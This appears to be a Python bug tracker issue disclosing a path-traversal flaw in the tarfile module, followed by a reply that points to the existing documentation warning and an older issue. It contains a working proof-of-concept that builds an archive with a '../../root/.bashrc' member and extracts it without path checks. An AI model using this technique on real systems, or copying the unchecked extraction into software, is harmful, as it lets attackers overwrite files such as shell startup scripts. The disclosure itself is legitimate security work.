homepage

tarfile missing cross-directory checking, like ../ or ..,円 this potentially cause cross-directory decompression.
the exp:
# -*- coding: utf-8 -*-
import tarfile
def extract_tar(file_path, dest_path):
 try:
 with tarfile.open(file_path, 'r') as src_file:
 for info in src_file.getmembers():
 src_file.extract(info.name, dest_path)
 return True
 except (IOError, OSError, tarfile.TarError):
 return False
def make_tar():
 tar_file=tarfile.open('x.tar.gz','w:gz')
 tar_file.add('bashrc', '/../../../../root/.bashrc')
 tar_file.list(verbose=True)
 tar_file.close()
if __name__ == '__main__':
 make_tar()
 extract_tar('x.tar.gz', 'xx')

This is documented in the tarfile docs:
Warning
Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..".

Issue 21109 has been open for a while and is the same as this, if I am not mistaken.